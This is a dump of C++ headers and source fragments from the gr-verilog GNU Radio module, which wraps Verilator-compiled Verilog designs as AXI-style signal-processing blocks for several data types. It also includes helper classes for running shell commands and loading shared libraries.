"VERILATOR_OPTIONS=" + this->verilator_options; cmd += ENTER; cmd += ENTER; try { cl_err_code = bash.exec(cmd.c_str()); if (cl_err_code == _EXIT_FAILURE) { throw std::runtime_error("Shell_cmd execute error"); } // Output the message // bash.print_msg(std::cout); } catch (...) { bash.print_msg(std::cerr); throw; } return cl_err_code; } int verilog_axi_cc_impl::load_lib() { int lib_err_code; lib_err_code = this->verilog_module_so.load_lib((this->verilog_module_path + M_dir).c_str(), SHARED_LIB_NAME); if (lib_err_code == _EXIT_FAILURE) { throw std::runtime_error("can't load shared library"); } return lib_err_code; } int verilog_axi_cc_impl::release_lib() { this->verilog_module_so.close_lib(); } bool verilog_axi_cc_impl::test_access(const char *filepath, const char *err_msg = "") { if ( access(filepath, R_OK) == _EXIT_FAILURE ) { if (err_msg != "") { GR_LOG_ERROR(d_logger, boost::format("%s: %s") % filepath % strerror(errno)); throw std::runtime_error(err_msg); } return false; } return true; } bool verilog_axi_cc_impl::check_env(const char *package, const char *err_msg = "") { Shell_cmd bash; bash.exec((std::string("which ") + package).c_str()); if (bash.get_msg(0) == "") { if (err_msg != "") { GR_LOG_ERROR(d_logger, boost::format("%s: %s") % package % strerror(errno)); throw std::runtime_error(err_msg); } return false; } return true; } /* gr::verilog::verilog_axi_cc private member functions */ } /* namespace verilog */ } /* namespace gr */
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B0WEN-HU/gr-verilog
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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false
false
false
false
1,531,276
verilog_axi_cc_impl.h
B0WEN-HU_gr-verilog/lib/verilog_axi_cc_impl.h
/* -*- c++ -*- */ /* * Copyright 2019 <+YOU OR YOUR COMPANY+>. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifndef INCLUDED_VERILOG_VERILOG_AXI_CC_IMPL_H #define INCLUDED_VERILOG_VERILOG_AXI_CC_IMPL_H #include <verilog/verilog_axi_cc.h> #include <string> #include "verilog/Shared_lib.h" #define SLASH "/" namespace gr { namespace verilog { class verilog_axi_cc_impl : public verilog_axi_cc { private: /* gr::verilog::verilog_axi_cc private member variables */ typedef gr_complex ITYPE; typedef gr_complex OTYPE; // The path and name of user's verilog module // Construct by (const char *filename) std::string verilog_module_path; std::string verilog_module_name; // The path of makefile template std::string makefile_template_path; // The path of cpp template std::string cpp_template_path; // The class that control the shared library // Use verilog_module_so.load_lib(std::string verilog_module_path, std::string lib_name) to load library // Use verilog_module_so.find_func(std::string func_name) to get the function // Use verilog_module_so.release_lib(std::string string lib_name) to release the library Shared_lib verilog_module_so; // typedef void (*Simulation_func) typedef unsigned char (*Simulation_func) (const ITYPE &verilog_input, const OTYPE &verilog_ouput, const unsigned int &main_time); Simulation_func sim; unsigned int main_time; unsigned int skip_output_items; // overwrite user templates in the path bool overwrite; // used for forecast float IO_ratio; // thread safe boost::mutex vl_mutex; std::string verilator_options; // the parameter send to the template cpp code in function reset(unsiged int) // user can make use of it unsigned int module_flag; /* gr::verilog::verilog_axi_cc private member variables */ /* gr::verilog::verilog_axi_cc private member functions */ /* Construct routine */ // The function that call Verilator (Makefile) to generate the cpp code //int generate_verilator_file() throw(std::runtime_error); /* // Parse the Verilator generate file and extract the port map // The port map should be stored in Veriloag_data verilog_data int init_port_map() throw(std::logic_error); */ // The function that call g++ (Makefile) to generate the shared library // There might be some modifications on the tempalte cpp interface file // ! generate_verilator_file will be included in the this->generate_so() int generate_so(); // The function that load the shared library that generated above // with the Shared_lib verilog_module_so int load_lib(); /* Construct routine */ /* Destruct routine */ int release_lib(); /* Destruct routine */ bool test_access(const char *filepath, const char *err_msg); bool check_env(const char *package, const char *err_msg); /* gr::verilog::verilog_axi_cc private member functions */ public: verilog_axi_cc_impl(const char *filename, bool overwrite, float IO_ratio, const char *verilator_options, unsigned int module_flag, unsigned int skip_output_items); ~verilog_axi_cc_impl(); // Where all the action really happens void forecast (int noutput_items, gr_vector_int &ninput_items_required); int general_work(int noutput_items, gr_vector_int &ninput_items, gr_vector_const_void_star &input_items, gr_vector_void_star &output_items); }; } // namespace verilog } // namespace gr #endif /* INCLUDED_VERILOG_VERILOG_AXI_CC_IMPL_H */
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B0WEN-HU/gr-verilog
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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false
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false
1,531,277
verilog_axi_bb_impl.h
B0WEN-HU_gr-verilog/lib/verilog_axi_bb_impl.h
/* -*- c++ -*- */ /* * Copyright 2019 <+YOU OR YOUR COMPANY+>. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifndef INCLUDED_VERILOG_VERILOG_AXI_SS_IMPL_H #define INCLUDED_VERILOG_VERILOG_AXI_SS_IMPL_H #include <verilog/verilog_axi_bb.h> #include <string> #include "verilog/Shared_lib.h" #define SLASH "/" namespace gr { namespace verilog { class verilog_axi_bb_impl : public verilog_axi_bb { private: /* gr::verilog::verilog_axi_bb private member variables */ typedef unsigned char ITYPE; typedef unsigned char OTYPE; // The path and name of user's verilog module // Construct by (const char *filename) std::string verilog_module_path; std::string verilog_module_name; // The path of makefile template std::string makefile_template_path; // The path of cpp template std::string cpp_template_path; // The class that control the shared library // Use verilog_module_so.load_lib(std::string verilog_module_path, std::string lib_name) to load library // Use verilog_module_so.find_func(std::string func_name) to get the function // Use verilog_module_so.release_lib(std::string string lib_name) to release the library Shared_lib verilog_module_so; // typedef void (*Simulation_func) typedef unsigned char (*Simulation_func) (const ITYPE &verilog_input, const OTYPE &verilog_ouput, const unsigned int &main_time); Simulation_func sim; unsigned int main_time; unsigned int skip_output_items; // overwrite user templates in the path bool overwrite; // used for forecast float IO_ratio; // thread safe boost::mutex vl_mutex; std::string verilator_options; // the parameter send to the template cpp code in function reset(unsiged int) // user can make use of it unsigned int module_flag; /* gr::verilog::verilog_axi_bb private member variables */ /* gr::verilog::verilog_axi_bb private member functions */ /* Construct routine */ // The function that call Verilator (Makefile) to generate the cpp code //int generate_verilator_file() throw(std::runtime_error); /* // Parse the Verilator generate file and extract the port map // The port map should be stored in Veriloag_data verilog_data int init_port_map() throw(std::logic_error); */ // The function that call g++ (Makefile) to generate the shared library // There might be some modifications on the tempalte cpp interface file // ! generate_verilator_file will be included in the this->generate_so() int generate_so(); // The function that load the shared library that generated above // with the Shared_lib verilog_module_so int load_lib(); /* Construct routine */ /* Destruct routine */ int release_lib(); /* Destruct routine */ bool test_access(const char *filepath, const char *err_msg); bool check_env(const char *package, const char *err_msg); /* gr::verilog::verilog_axi_bb private member functions */ public: verilog_axi_bb_impl(const char *filename, bool overwrite, float IO_ratio, const char *verilator_options, unsigned int module_flag, unsigned int skip_output_items); ~verilog_axi_bb_impl(); // Where all the action really happens void forecast (int noutput_items, gr_vector_int &ninput_items_required); int general_work(int noutput_items, gr_vector_int &ninput_items, gr_vector_const_void_star &input_items, gr_vector_void_star &output_items); }; } // namespace verilog } // namespace gr #endif /* INCLUDED_VERILOG_VERILOG_AXI_BB_IMPL_H */
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B0WEN-HU/gr-verilog
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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1,531,278
verilog_axi_ff_impl.h
B0WEN-HU_gr-verilog/lib/verilog_axi_ff_impl.h
/* -*- c++ -*- */ /* * Copyright 2019 <+YOU OR YOUR COMPANY+>. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifndef INCLUDED_VERILOG_VERILOG_AXI_FF_IMPL_H #define INCLUDED_VERILOG_VERILOG_AXI_FF_IMPL_H #include <verilog/verilog_axi_ff.h> #include <string> #include "verilog/Shared_lib.h" #define SLASH "/" namespace gr { namespace verilog { class verilog_axi_ff_impl : public verilog_axi_ff { private: /* gr::verilog::verilog_axi_ff private member variables */ typedef float ITYPE; typedef float OTYPE; // The path and name of user's verilog module // Construct by (const char *filename) std::string verilog_module_path; std::string verilog_module_name; // The path of makefile template std::string makefile_template_path; // The path of cpp template std::string cpp_template_path; // The class that control the shared library // Use verilog_module_so.load_lib(std::string verilog_module_path, std::string lib_name) to load library // Use verilog_module_so.find_func(std::string func_name) to get the function // Use verilog_module_so.release_lib(std::string string lib_name) to release the library Shared_lib verilog_module_so; // typedef void (*Simulation_func) typedef unsigned char (*Simulation_func) (const ITYPE &verilog_input, const OTYPE &verilog_ouput, const unsigned int &main_time); Simulation_func sim; unsigned int main_time; unsigned int skip_output_items; // overwrite user templates in the path bool overwrite; // used for forecast float IO_ratio; // thread safe boost::mutex vl_mutex; std::string verilator_options; // the parameter send to the template cpp code in function reset(unsiged int) // user can make use of it unsigned int module_flag; /* gr::verilog::verilog_axi_ff private member variables */ /* gr::verilog::verilog_axi_ff private member functions */ /* Construct routine */ // The function that call Verilator (Makefile) to generate the cpp code //int generate_verilator_file() throw(std::runtime_error); /* // Parse the Verilator generate file and extract the port map // The port map should be stored in Veriloag_data verilog_data int init_port_map() throw(std::logic_error); */ // The function that call g++ (Makefile) to generate the shared library // There might be some modifications on the tempalte cpp interface file // ! generate_verilator_file will be included in the this->generate_so() int generate_so(); // The function that load the shared library that generated above // with the Shared_lib verilog_module_so int load_lib(); /* Construct routine */ /* Destruct routine */ int release_lib(); /* Destruct routine */ bool test_access(const char *filepath, const char *err_msg); bool check_env(const char *package, const char *err_msg); /* gr::verilog::verilog_axi_ff private member functions */ public: verilog_axi_ff_impl(const char *filename, bool overwrite, float IO_ratio, const char *verilator_options, unsigned int module_flag, unsigned int skip_output_items); ~verilog_axi_ff_impl(); // Where all the action really happens void forecast (int noutput_items, gr_vector_int &ninput_items_required); int general_work(int noutput_items, gr_vector_int &ninput_items, gr_vector_const_void_star &input_items, gr_vector_void_star &output_items); }; } // namespace verilog } // namespace gr #endif /* INCLUDED_VERILOG_VERILOG_AXI_FF_IMPL_H */
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1,531,279
verilog_axi_ii_impl.h
B0WEN-HU_gr-verilog/lib/verilog_axi_ii_impl.h
/* -*- c++ -*- */ /* * Copyright 2019 <+YOU OR YOUR COMPANY+>. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifndef INCLUDED_VERILOG_VERILOG_AXI_II_IMPL_H #define INCLUDED_VERILOG_VERILOG_AXI_II_IMPL_H #include <verilog/verilog_axi_ii.h> #include <string> #include "verilog/Shared_lib.h" #define SLASH "/" namespace gr { namespace verilog { class verilog_axi_ii_impl : public verilog_axi_ii { private: /* gr::verilog::verilog_axi_ii private member variables */ typedef unsigned int ITYPE; typedef unsigned int OTYPE; // The path and name of user's verilog module // Construct by (const char *filename) std::string verilog_module_path; std::string verilog_module_name; // The path of makefile template std::string makefile_template_path; // The path of cpp template std::string cpp_template_path; // The class that control the shared library // Use verilog_module_so.load_lib(std::string verilog_module_path, std::string lib_name) to load library // Use verilog_module_so.find_func(std::string func_name) to get the function // Use verilog_module_so.release_lib(std::string string lib_name) to release the library Shared_lib verilog_module_so; // typedef void (*Simulation_func) typedef unsigned char (*Simulation_func) (const ITYPE &verilog_input, const OTYPE &verilog_ouput, const unsigned int &main_time); Simulation_func sim; unsigned int main_time; unsigned int skip_output_items; // overwrite user templates in the path bool overwrite; // used for forecast float IO_ratio; // thread safe boost::mutex vl_mutex; std::string verilator_options; // the parameter send to the template cpp code in function reset(unsiged int) // user can make use of it unsigned int module_flag; /* gr::verilog::verilog_axi_ii private member variables */ /* gr::verilog::verilog_axi_ii private member functions */ /* Construct routine */ // The function that call Verilator (Makefile) to generate the cpp code //int generate_verilator_file() throw(std::runtime_error); /* // Parse the Verilator generate file and extract the port map // The port map should be stored in Veriloag_data verilog_data int init_port_map() throw(std::logic_error); */ // The function that call g++ (Makefile) to generate the shared library // There might be some modifications on the tempalte cpp interface file // ! generate_verilator_file will be included in the this->generate_so() int generate_so(); // The function that load the shared library that generated above // with the Shared_lib verilog_module_so int load_lib(); /* Construct routine */ /* Destruct routine */ int release_lib(); /* Destruct routine */ bool test_access(const char *filepath, const char *err_msg); bool check_env(const char *package, const char *err_msg); /* gr::verilog::verilog_axi_ii private member functions */ public: verilog_axi_ii_impl(const char *filename, bool overwrite, float IO_ratio, const char *verilator_options, unsigned int module_flag, unsigned int skip_output_items); ~verilog_axi_ii_impl(); // Where all the action really happens void forecast (int noutput_items, gr_vector_int &ninput_items_required); int general_work(int noutput_items, gr_vector_int &ninput_items, gr_vector_const_void_star &input_items, gr_vector_void_star &output_items); }; } // namespace verilog } // namespace gr #endif /* INCLUDED_VERILOG_VERILOG_AXI_II_IMPL_H */
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1,531,280
verilog_axi_ss_impl.h
B0WEN-HU_gr-verilog/lib/verilog_axi_ss_impl.h
/* -*- c++ -*- */ /* * Copyright 2019 <+YOU OR YOUR COMPANY+>. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifndef INCLUDED_VERILOG_VERILOG_AXI_SS_IMPL_H #define INCLUDED_VERILOG_VERILOG_AXI_SS_IMPL_H #include <verilog/verilog_axi_ss.h> #include <string> #include "verilog/Shared_lib.h" #define SLASH "/" namespace gr { namespace verilog { class verilog_axi_ss_impl : public verilog_axi_ss { private: /* gr::verilog::verilog_axi_ss private member variables */ typedef unsigned short ITYPE; typedef unsigned short OTYPE; // The path and name of user's verilog module // Construct by (const char *filename) std::string verilog_module_path; std::string verilog_module_name; // The path of makefile template std::string makefile_template_path; // The path of cpp template std::string cpp_template_path; // The class that control the shared library // Use verilog_module_so.load_lib(std::string verilog_module_path, std::string lib_name) to load library // Use verilog_module_so.find_func(std::string func_name) to get the function // Use verilog_module_so.release_lib(std::string string lib_name) to release the library Shared_lib verilog_module_so; // typedef void (*Simulation_func) typedef unsigned char (*Simulation_func) (const ITYPE &verilog_input, const OTYPE &verilog_ouput, const unsigned int &main_time); Simulation_func sim; unsigned int main_time; unsigned int skip_output_items; // overwrite user templates in the path bool overwrite; // used for forecast float IO_ratio; // thread safe boost::mutex vl_mutex; std::string verilator_options; // the parameter send to the template cpp code in function reset(unsiged int) // user can make use of it unsigned int module_flag; /* gr::verilog::verilog_axi_ss private member variables */ /* gr::verilog::verilog_axi_ss private member functions */ /* Construct routine */ // The function that call Verilator (Makefile) to generate the cpp code //int generate_verilator_file() throw(std::runtime_error); /* // Parse the Verilator generate file and extract the port map // The port map should be stored in Veriloag_data verilog_data int init_port_map() throw(std::logic_error); */ // The function that call g++ (Makefile) to generate the shared library // There might be some modifications on the tempalte cpp interface file // ! generate_verilator_file will be included in the this->generate_so() int generate_so(); // The function that load the shared library that generated above // with the Shared_lib verilog_module_so int load_lib(); /* Construct routine */ /* Destruct routine */ int release_lib(); /* Destruct routine */ bool test_access(const char *filepath, const char *err_msg); bool check_env(const char *package, const char *err_msg); /* gr::verilog::verilog_axi_ss private member functions */ public: verilog_axi_ss_impl(const char *filename, bool overwrite, float IO_ratio, const char *verilator_options, unsigned int module_flag, unsigned int skip_output_items); ~verilog_axi_ss_impl(); // Where all the action really happens void forecast (int noutput_items, gr_vector_int &ninput_items_required); int general_work(int noutput_items, gr_vector_int &ninput_items, gr_vector_const_void_star &input_items, gr_vector_void_star &output_items); }; } // namespace verilog } // namespace gr #endif /* INCLUDED_VERILOG_VERILOG_AXI_SS_IMPL_H */
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1,531,282
axi_module.h
B0WEN-HU_gr-verilog/templates/axi_module.h
#pragma once #include "Vaxi_module.h" #include "verilated.h" #include <complex> #ifdef __cplusplus extern "C" { #endif static Vaxi_module* top = NULL; void AXI_init(); void AXI_reset(unsigned int module_flag); // Deprecated void AXI_sync_transfer_ii(const unsigned int &gr_input, unsigned int &gr_output, unsigned int &time); /* verilog_axi_ii */ unsigned char AXI_async_transfer_ii(const unsigned int &gr_input, unsigned int &gr_output, unsigned int &time); unsigned char AXI_transfer_out_i(unsigned int &gr_output, unsigned int &time); /* verilog_axi_ii */ /* verilog_axi_ss */ unsigned char AXI_async_transfer_ss(const unsigned short &gr_input, unsigned short &gr_output, unsigned int &time); /* verilog_axi_ss */ /* verilog_axi_bb */ unsigned char AXI_async_transfer_bb(const unsigned char &gr_input, unsigned char &gr_output, unsigned int &time); /* verilog_axi_b */ /* verilog_axi_ff */ unsigned char AXI_async_transfer_ff(const float &gr_input, float &gr_output, unsigned int &time); /* verilog_axi_ff */ /* verilog_axi_cc */ unsigned char AXI_async_transfer_cc(const std::complex<float> &gr_input, std::complex<float> &gr_output, unsigned int &time); /* verilog_axi_cc */ void AXI_nop(); void AXI_close(); #ifdef __cplusplus } #endif
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B0WEN-HU/gr-verilog
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1,531,283
verilog_axi_cc.h
B0WEN-HU_gr-verilog/include/verilog/verilog_axi_cc.h
/* -*- c++ -*- */ /* * Copyright 2019 <+YOU OR YOUR COMPANY+>. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifndef INCLUDED_VERILOG_VERILOG_AXI_CC_H #define INCLUDED_VERILOG_VERILOG_AXI_CC_H #include <verilog/api.h> #include <gnuradio/block.h> namespace gr { namespace verilog { /*! * \brief <+description of block+> * \ingroup verilog * */ class VERILOG_API verilog_axi_cc : virtual public gr::block { public: typedef boost::shared_ptr<verilog_axi_cc> sptr; /*! * \brief Return a shared_ptr to a new instance of verilog::verilog_axi_cc. * * To avoid accidental use of raw pointers, verilog::verilog_axi_cc's * constructor is in a private implementation * class. verilog::verilog_axi_cc::make is the public interface for * creating new instances. */ static sptr make(const char *filename, bool overwrite, float IO_ratio, const char *verilator_options, unsigned int module_flag, unsigned int skip_output_items); }; } // namespace verilog } // namespace gr #endif /* INCLUDED_VERILOG_VERILOG_AXI_CC_H */
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1,531,284
verilog_axi_bb.h
B0WEN-HU_gr-verilog/include/verilog/verilog_axi_bb.h
/* -*- c++ -*- */ /* * Copyright 2019 <+YOU OR YOUR COMPANY+>. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifndef INCLUDED_VERILOG_VERILOG_AXI_BB_H #define INCLUDED_VERILOG_VERILOG_AXI_BB_H #include <verilog/api.h> #include <gnuradio/block.h> namespace gr { namespace verilog { /*! * \brief <+description of block+> * \ingroup verilog * */ class VERILOG_API verilog_axi_bb : virtual public gr::block { public: typedef boost::shared_ptr<verilog_axi_bb> sptr; /*! * \brief Return a shared_ptr to a new instance of verilog::verilog_axi_bb. * * To avoid accidental use of raw pointers, verilog::verilog_axi_bb's * constructor is in a private implementation * class. verilog::verilog_axi_bb::make is the public interface for * creating new instances. */ static sptr make(const char *filename, bool overwrite, float IO_ratio, const char *verilator_options, unsigned int module_flag, unsigned int skip_output_items); }; } // namespace verilog } // namespace gr #endif /* INCLUDED_VERILOG_VERILOG_AXI_BB_H */
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1,531,285
verilog_axi_ss.h
B0WEN-HU_gr-verilog/include/verilog/verilog_axi_ss.h
/* -*- c++ -*- */ /* * Copyright 2019 <+YOU OR YOUR COMPANY+>. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifndef INCLUDED_VERILOG_VERILOG_AXI_SS_H #define INCLUDED_VERILOG_VERILOG_AXI_SS_H #include <verilog/api.h> #include <gnuradio/block.h> namespace gr { namespace verilog { /*! * \brief <+description of block+> * \ingroup verilog * */ class VERILOG_API verilog_axi_ss : virtual public gr::block { public: typedef boost::shared_ptr<verilog_axi_ss> sptr; /*! * \brief Return a shared_ptr to a new instance of verilog::verilog_axi_ss. * * To avoid accidental use of raw pointers, verilog::verilog_axi_ss's * constructor is in a private implementation * class. verilog::verilog_axi_ss::make is the public interface for * creating new instances. */ static sptr make(const char *filename, bool overwrite, float IO_ratio, const char *verilator_options, unsigned int module_flag, unsigned int skip_output_items); }; } // namespace verilog } // namespace gr #endif /* INCLUDED_VERILOG_VERILOG_AXI_SS_H */
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1,531,286
Shell_cmd.h
B0WEN-HU_gr-verilog/include/verilog/Shell_cmd.h
/* -*- c++ -*- */ /* * Copyright 2019 <+YOU OR YOUR COMPANY+>. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifndef INCLUDED_VERILOG_SHELL_CMD_H #define INCLUDED_VERILOG_SHELL_CMD_H #include <cstdio> #include <string> #include <vector> namespace gr { namespace verilog { #ifdef __linux class Shell_cmd { private: // Private members // The the shell message of the latest call std::vector<std::string> msgvec; public: // Public members Shell_cmd(); ~Shell_cmd(); // The exec() function of the class // It will return -1 when there is any error // It will return the line number of message if exit normally int exec(const char *cmd); // The get_msg() function of the class // It will return msg (i-th line, from 0) std::string get_msg(unsigned int i); // The print_msg() function // It print out the message that stored in msgvec void print_msg(std::ostream &out); }; #endif } // namespace verilog } // namespace gr #endif /* INCLUDED_VERILOG_SHELL_CMD_H */
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1,531,287
Shared_lib.h
B0WEN-HU_gr-verilog/include/verilog/Shared_lib.h
/* -*- c++ -*- */ /* * Copyright 2019 <+YOU OR YOUR COMPANY+>. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifndef INCLUDED_VERILOG_SHARED_LIB_H #define INCLUDED_VERILOG_SHARED_LIB_H #include <cstdio> #include <string> namespace gr { namespace verilog { typedef void (*func_ptr)(void); #ifdef __linux class Shared_lib { private: // Private members // The path and name of the library std::string lib_name; std::string lib_path; // The hanle of the shared library void *lib_handle; // The status of the shared library enum {LIB_NULL, LIB_LOAD_FAILURE, LIB_LOAD_SUCCESS} lib_status; public: // Public members Shared_lib(); ~Shared_lib(); // The function that load the shared library // It will return -1 when there is any error // It will return 0 if the shared library was loaded successfully int load_lib(const char *ext_lib_path, const char *ext_lib_name); // The function that find the function in the library // It will return NULL when it cannot find the function // It will return the pointer of the function func_ptr find_func(const char *func_name) const; // The function that close the library void close_lib(void); // DEBUG std::string get_lib_path() const; std::string get_lib_name() const; std::string get_lib_status() const; void * get_lib_handle() const; }; #endif } // namespace verilog } // namespace gr #endif /* INCLUDED_VERILOG_SHARED_LIB_H */
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false
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1,531,288
verilog_axi_ii.h
B0WEN-HU_gr-verilog/include/verilog/verilog_axi_ii.h
/* -*- c++ -*- */ /* * Copyright 2019 <+YOU OR YOUR COMPANY+>. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifndef INCLUDED_VERILOG_VERILOG_AXI_II_H #define INCLUDED_VERILOG_VERILOG_AXI_II_H #include <verilog/api.h> #include <gnuradio/block.h> namespace gr { namespace verilog { /*! * \brief <+description of block+> * \ingroup verilog * */ class VERILOG_API verilog_axi_ii : virtual public gr::block { public: typedef boost::shared_ptr<verilog_axi_ii> sptr; /*! * \brief Return a shared_ptr to a new instance of verilog::verilog_axi_ii. * * To avoid accidental use of raw pointers, verilog::verilog_axi_ii's * constructor is in a private implementation * class. verilog::verilog_axi_ii::make is the public interface for * creating new instances. */ static sptr make(const char *filename, bool overwrite, float IO_ratio, const char *verilator_options, unsigned int module_flag, unsigned int skip_output_items); }; } // namespace verilog } // namespace gr #endif /* INCLUDED_VERILOG_VERILOG_AXI_II_H */
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1,531,289
api.h
B0WEN-HU_gr-verilog/include/verilog/api.h
/* * Copyright 2011 Free Software Foundation, Inc. * * This file is part of GNU Radio * * GNU Radio is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * GNU Radio is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with GNU Radio; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifndef INCLUDED_VERILOG_API_H #define INCLUDED_VERILOG_API_H #include <gnuradio/attributes.h> #ifdef gnuradio_verilog_EXPORTS # define VERILOG_API __GR_ATTR_EXPORT #else # define VERILOG_API __GR_ATTR_IMPORT #endif #endif /* INCLUDED_VERILOG_API_H */
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B0WEN-HU/gr-verilog
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false
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1,531,290
constants.h
B0WEN-HU_gr-verilog/include/verilog/constants.h
/* * Copyright 2011 Free Software Foundation, Inc. * * This file is part of GNU Radio * * GNU Radio is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3, or (at your option) * any later version. * * GNU Radio is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with GNU Radio; see the file COPYING. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, * Boston, MA 02110-1301, USA. */ #ifndef INCLUDED_GR_VERILOG_CONSTANTS_H #define INCLUDED_GR_VERILOG_CONSTANTS_H #include <verilog/api.h> #include <string> namespace gr { namespace verilog { VERILOG_API const std::string datadir(); VERILOG_API std::string templatedir(); } /* namespace verilog */ } /* namespace gr */ #endif /* INCLUDED_GR_VERILOG_CONSTANTS_H */
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B0WEN-HU/gr-verilog
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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1,531,291
verilog_axi_ff.h
B0WEN-HU_gr-verilog/include/verilog/verilog_axi_ff.h
